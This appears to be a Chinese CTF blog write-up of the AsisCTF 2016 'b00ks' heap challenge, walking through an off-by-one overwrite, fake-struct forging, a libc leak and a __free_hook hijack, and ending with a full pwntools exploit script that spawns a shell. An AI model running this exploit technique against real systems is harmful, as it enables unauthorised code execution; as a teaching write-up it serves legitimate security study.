堆off by one(AsisCTF 2016 b00ks)

Some things will never start if you don’t begin to do them.

0x00 前言

  • 这是CTF-WIKI上用来讲解off-by-one的一道例题,但是显然上面的讲解对新手并不友好,在查阅各种资料、看了各位大佬们的博客后,终于把这道题目搞懂了。
  • 因为这道题目面向新手的WP并不多,所以特地写下这篇博客,尽可能全面的讲解一下这道题目。

0x01 题目下载链接

下载链接

0x02 off-by-one 知识储备

  • 相关知识在CTF-WIKI上也有较为详细的讲解,此处略过。
  • 为了更好的理解本文,建议先看看CTF-WIKI上的相关讲解,同时也要好好理解指针的相关概念。

0x03 分析程序与调试

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

  • 一些函数我都进行了重命名,这里这些函数比如createdelete都可以先点进去看看,要了解这些函数能实现什么功能,从而为后续利用做准备。

  • 同时为了方便调试,临时禁用了系统的地址随机化功能:echo 0 > /proc/sys/kernel/randomize_va_space

寻找漏洞

  • 进入change_author_name函数,然后观察my_read函数,发现在存在off-by-one漏洞,由于程序没有对边界进行正确限定而产生了此处漏洞,该漏洞会越界并将低字节覆盖为\x00
  • 很遗憾的是,只有change_author_name函数存在这个漏洞,其他函数例如create函数都额外做了边界限制处理。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
signed __int64 change_author_name()
{
printf("Enter author name: ");
if ( !(unsigned int)my_read(off_202018, 32) )
return 0LL;
printf("fail to read author_name", 32LL);
return 1LL;
}



signed __int64 __fastcall my_read(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( a2 <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == a2 )
break;
}
*buf = 0; // 漏洞所在位置。
return 0LL;
}

  • 注意到这个off_202018,很容易想到这是与author_name有关的。

  • 双击进去,它指向了unk_202040,由于我们的程序开启了PIE保护,所以真正存储author_name的位置应该是程序真正的加载基址 + 0x202040,这个程序真正的加载基址可以通过gdb调试得出。

  • 继续看create函数,由于这个函数代码量有点大,不再把全部代码放出来。在该函数中,我们能根据下面这一块能得到book的结构体。

  • 其中*((_DWORD *)book_struct + 6) = v1;可以转化为*((_QWORD *)book_struct + 3) = v1;

  • 所以我们得到book结构体

1
2
3
4
5
6
stuct book{
int id;
char *name;
char *description;
int size;
}
  • 注意到此处的off_202010,从上面红框中的代码也能看出来,v2是当前创建的book的索引,那么off_202010所对应的应该就是存放book结构体结构体数组

  • 双击过去,它指向了unk_202060,在前面我们得知unk_202040存放的是author_name

  • 也就是说,author_name首地址与book结构体数组首地址相差0x20字节。而很巧,程序恰好限定了author_name的最大长度就是0x20,而且!! 我们的change_author_name函数存在off-by-one漏洞,这也就意味着,我们能够通过这个漏洞对book结构体数组的首地址(也就是第一个book结构体的地址)进行一些操作或利用。

泄露第一个book结构体的地址

  • 能进行什么样的操作或者利用呢? 接着看case4: print()函数

  • 这个函数能够打印出author_name,nice!。

  • 我们设想一个程序执行流程,首先,我们应程序要求,输入了author_name,我们故意输入也就是32个A。在内存中应该是这样。

  • 注意蓝色部分,那里实际上就是off-by-one漏洞越界覆盖的低字节,覆盖成了\x00,实际上那里本来就是\x00…覆盖了以后还是\x00

  • 关于前面的地址,这是程序在我机器上面运行的程序加载地址0x555555554000+0x202040(前面提到过)得到的,不同机器有可能不一样。这个程序加载地址可以在gdb中使用pievmmap命令查得。

  • 继续, 下面的0x555555756060就是book结构体数组的首地址,存放第一个book结构体(后面记作book1)的地址,当我们create book1时,book1的地址会覆盖掉这一块。而在C语言中,字符串是靠\x00来进行截断的,覆盖掉了author_name\x00,那么我们就可以通过print()函数打印出author_name连带着把book1的地址打印出来了。

一些小补充

  • 注意create函数里面,对于每个book结构体,它的chunk大小应该是0x20(用户申请) + 0x10(chunk头) = 0x30,但是由于前面还mallocbook_name与book_description,book1的地址和book2的地址相差可能并不是0x30,除非当book_name和book_description申请的内存足够大时它俩才相差0x30,不然就要另外计算咯,这好像和malloc的分配算法有关。 具体book1的地址和book2的地址差多少可以通过在本地动态调试算出来。这里也推荐通过动态调试来计算差值。

继续

  • 如果知道了book1的地址和book2的地址之间的差值(这个差值无论是在本地打还是远程打应该都是不变的),我们就可以通过刚刚通过打印得到的book1的地址来推算出book2的地址。

  • 继续模拟一下流程,当我们创建了book1以后,内存应该是这个样子(具体值可能有所不同)。

1
2
3
4
5
6
7
8
0x555555756040:	0x6161616161616161	0x6161616161616161
0x555555756050: 0x6161616161616161 0x6161616161616161
0x555555756060: 0x0000555555758160 0x0000000000000000
...
...
0x555555758150: 0x0000000000000000(prev_size) 0x0000000000000031(size)
0x555555758160: 0x0000000000000001(ID) 0x0000555555758020(book_name_ptr)
0x555555758170: 0x00005555557580c0(book_des_ptr) 0x000000000000008c(des_size)
  • 非常巧的是,book1的book_des_ptr0x00005555557580c0,如果我们申请book_description的大小足够大的话,它是有可能包含0x0000555555758100的。
  • 为什么要包含这个地址? 因为我们的程序是拥有case5 :change_author_name的,可以多次使用off-by-one漏洞,当我们再次使用这个漏洞时,就会将0x0000555555758160的低字节覆盖为\x00,从而变成0x0000555555758100

伪造book struct

  • 在此之前,我们先创建一个book2,让它的book_name的size和book_description的size尽可能大!

  • 这里尽量大也是为了后面泄露libc作铺垫。

  • 这里都取0x21000(为啥取这个?懒了,wp上就是这个懒得换了。。),因为这俩size足够大,所以book2地址 = book1地址 + 0x30 。(这在前面小补充里面有讲,当然也可以动态调试出来)

  • 优秀的大佬们由此想出来一个方法,就像套娃一样,在book_description中伪造一个book结构体(记作book_struct)

  • 由于0x0000555555758100 - 0x00005555557580c0 = 0x40,所以可以这么构造。

1
2
3
4
5
payload = 'a'*0x40 #Padding
payload += p64(1) #ID
payload += p64(book2_struct_addr + 8) #book_name_ptr
payload += p64(book2_struct_addr + 8) #book_des_ptr
payload += p64(0xffff) #description_size
  • 填充0x40个a是为了让0x0000555555758100正好指向我们伪造的book_struct。

  • book2_struct_addr是前面推算出来的book2的地址,+8以后就指向(注意这是指向!)book2_name_ptr,至于为什么要让它指向book2_name_ptr,别着急,慢慢看下去。

  • 程序是拥有edit函数的,可以修改book_description的,我们将其修改为我们的payload即可完成伪造book_struct

  • 我们伪造好以后, change_author_name,依然输入32个a,然后book结构体数组的首地址就变成了0x0000555555758100,也就指向了我们伪造的book_struct。这个book_struct是存在于book1的description中,而已经没有指针指向book1了,下面全靠这个伪造的book来发挥作用了。

泄露libc基地址

当分配的堆块的大小在某一个范围内的话,系统会通过brk方法来分配(brk 会直接拓展原来的堆),但是当分配超级大的堆块时,程序会用mmap方法来分配堆(mmap 会单独映射一块内存),mmap分配的堆块和libc之间存在着固定的偏移,因此我们可以推算出来libc的基地址(偏移需要用gdb中的vmmap来计算)

  • 说白了就是可以在本地想办法算出来mmap和libc之间的偏移,这个偏移无论是打本地还是打远程都是固定的。

  • 所以book2的name的size取得特别大,目的就是为了用来泄露libc。

  • 我们可以通过程序的case4 :print()来打印出来book2_name_ptr。理解这里需要熟练理解与运用指针,因为我们伪造的book_structbook_name_ptr与book_des_ptr指向book2_name_ptr,而我们打印出来的都是%s, 也就是字符串,也就是内容,也就相当于我们把book2_name_ptr打印了出来。

  • emmmmm 取 Name 或者 Description其中一个的打印结果然后处理一下就行。。

  • 然后我们在gdb中用vmmap命令可以得到本地调试时libc的基址

  • 偏移就是本地调出来的book2_name_ptr - libc基址。
  • 那么打远程的时候,libc基址就是book2_name_ptr - 偏移。

getshell

  • 由于这道题Full RELRO,我们无法通过覆盖got表来getshell。

  • 优秀的大佬们想出了用__free_hook来劫持free函数

  • 关于__free_hook:

1
2
void weak_variable (*__free_hook) (void *__ptr,
const void *) = NULL;
  • 可以看出__free_hook是一个常量。 简单地说,当__free_hook的值不为NULL时,在调用free函数时,会首先执行__free_hook所指向的指令。

  • 这里也提到了free函数,与其相关的肯定是程序中的delete函数

  • 这个函数会先free掉book_name,然后free掉book_des,最后是id,结合这个顺序,优秀的大佬们想出了构造方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase


payload1 = p64(binsh_addr) + p64(free_hook)
edit_book(target, 1, payload1)

payload2 = p64(system)
edit_book(target, 2, payload2)

delete_book(target, 2)

target.interactive()
  • 我们在执行完edit_book(target, 1, payload1)以后,由于edit函数修改的是description的内容,而我们此时修改的是伪造的book_struct,它的description的内容是book2_struct_addr + 8这是个指针,修改完后变成了指向/bin/sh的指针了。 由于p64占8字节,所以p64(free_hook)会覆盖到book2_struct_addr + 16book2的description位置
  • 看着估计有点晕?仔细想想就是下面这种结构。
1
2
3
4
5
6
7
8
9
10
11
12
伪造book:
0x0000000000000001 , book2_struct_addr+8(指针)
book2_struct_addr+8(指针), des_size


原来的book2:
0x0000000000000002 ,book2_name_ptr
book2_des_ptr ,des_size

第一次edit操作以后的book2:
0x0000000000000002 ,bin_sh_ptr
free_hook_ptr ,des_size
  • 在执行完edit_book(target, 2, payload2)以后,修改的实际上是book2_struct_addr + 16地址所指向的内容,也就是free_hook_ptr所指向的内容,即free_hook的内容,也就是说,执行完后,我们的__free_hook里面存着system指令

  • 那么按照前文所讲,我们在调用free之前,将会先调用system函数,那么如何给system传参?

  • 由于我们的delete函数会先free掉book_name_ptr,但是book2_name_ptr已经被我们修改成bin_sh_ptr,而且调用free之前会先调用system函数,由于void free(void *ptr)int system(const char* command),这两个函数的参数都是个指针。那么 free(book2_name_ptr)就被我们成功变成了system(bin_sh_ptr)了! Nice~

0x04 exploit

  • 我是exp的搬运工:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# -*- coding: UTF-8 -*-
from pwn import *

#context(log_level='debug', os='linux')

def create_book(target, name_size, book_name, desc_size, book_desc):
target.recv()
target.sendline('1')
target.sendlineafter('Enter book name size: ', str(name_size))
target.sendlineafter('Enter book name (Max 32 chars): ', book_name)
target.sendlineafter('Enter book description size: ', str(desc_size))
target.sendlineafter('Enter book description: ', book_desc)

def delete_book(target, book_id):
target.recv()
target.sendline('2')
target.sendlineafter('Enter the book id you want to delete: ', str(book_id))

def edit_book(target, book_id, book_desc):
target.recv()
target.sendline('3')
target.sendlineafter('Enter the book id you want to edit: ', str(book_id))
target.sendlineafter('Enter new book description: ', book_desc)

def print_book(target):
target.recvuntil('>')
target.sendline('4')

def change_author_name(target, name):
target.recv()
target.sendline('5')
target.sendlineafter('Enter author name: ', name)

def input_author_name(target, name):
target.sendlineafter('Enter author name: ', name)

DEBUG = 0
LOCAL = 1

if LOCAL:
target = process('./b00ks')
else:
target = remote('127.0.0.1', 5678)

libc = ELF('./libc.so.6') # 这个也可以是libc-2.23.so,都能打通。。
# used for debug
image_base = 0x555555554000

if DEBUG:
pwnlib.gdb.attach(target, 'b *%d\nc\n' % (image_base+0xd20))

input_author_name(target, 'a'*32)
create_book(target, 140 ,'book_1', 140, 'first book created')

# leak boo1_struct addr
print_book(target)
target.recvuntil('a'*32)
temp = target.recvuntil('\x0a')
book1_struct_addr = u64(temp[:-1].ljust(8, '\x00'))
book2_struct_addr = book1_struct_addr + 0x30

create_book(target, 0x21000, 'book_2', 0x21000, 'second book create')

# fake book1_struct
payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) * 2 + p64(0xffff)
edit_book(target, 1, payload)



change_author_name(target, 'a'*32)
# leak book2_name ptr
print_book(target)

target.recvuntil('Name: ')
temp = target.recvuntil('\x0a')
book2_name_ptr = u64(temp[:-1].ljust(8, '\x00'))

log.success('book2_name_ptr = ' + hex(book2_name_ptr))


# find in debug: mmap_addr - libcbase

offset = 0x7ffff7fba010 - 0x7ffff7a0d000 #这里的0x7ffff7fba010不同机器可能不一样,要动态调试一下。
libcbase = book2_name_ptr - offset

free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase


payload = p64(binsh_addr) + p64(free_hook)
edit_book(target, 1, payload)

payload = p64(system)
edit_book(target, 2, payload)

delete_book(target, 2)
target.interactive()

0x05 参考链接

  • 感谢各位大佬的WP!

这篇博客评论区有黄金

看雪的一篇新手向的WP

CSDN上一篇对萌新较为友好的WP

CTF-WIKI